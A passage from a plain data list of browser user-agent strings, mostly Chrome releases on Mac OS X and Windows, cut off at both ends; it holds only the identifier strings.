(KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.68 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.11 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.834.0 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/19.0.1047.0 Safari/535.22 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36 -Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/11.0.696.50 -Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/12.0.742.91 -Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 -Mozilla/5.0 (Windows 8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 -Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.700.3 Safari/534.24 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.704.0 Safari/534.25 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.809.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.1 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 -Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.113 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.10913 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 -Mozilla/5.0 (Windows NT 6.1) 